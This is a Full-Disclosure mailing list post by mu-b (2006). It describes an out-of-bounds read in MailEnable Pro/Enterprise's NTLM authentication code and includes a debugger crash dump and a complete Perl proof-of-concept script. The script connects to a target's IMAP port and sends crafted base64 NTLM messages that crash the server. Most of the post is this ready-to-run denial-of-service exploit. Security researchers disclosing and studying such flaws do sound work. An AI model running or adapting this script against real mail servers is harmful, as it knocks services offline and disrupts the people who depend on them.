[Full-disclosure] MailEnable DoS POC

[mu-b <mu-b@xxxxxxxxxxxxxx>]

The POC attached exploits an out of bounds memory read in the NTLM 
authentication
routines of MailEnable Pro/Enterprise. The problem lies in the NTLM_UnPack_Type3
function of MENTLM.dll.

This appears to have been silently "patched" somewhere between versions 2.351 
and
2.36-7. (observe the quotes).

(c34.dc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=8146930b ebx=003a6cc8 ecx=00000040 edx=00000000 esi=8146920b edi=0146b238
eip=0109b4b3 esp=014691e4 ebp=014691ec iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
MENTLM!NTLM_UnPack_Type3+0x3019:
0109b4b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] 
es:0023:0146b238=00000000 ds:0023:8146920b=????????

---------------------------------------------------------------------------
(mu-b@xxxxxxxxxxxxxx)

#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#              Mail Enable Professional v2.33 (win32)
#              Mail Enable Professional v2.34 (win32)
#              Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           "\xfa\xff\xff\xff".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           "\x00\x01".
           ($PAD x 2).
           "\xef\xbe\xad\xde";
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("MailEnable Pro <=v2.36 DoS POC\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

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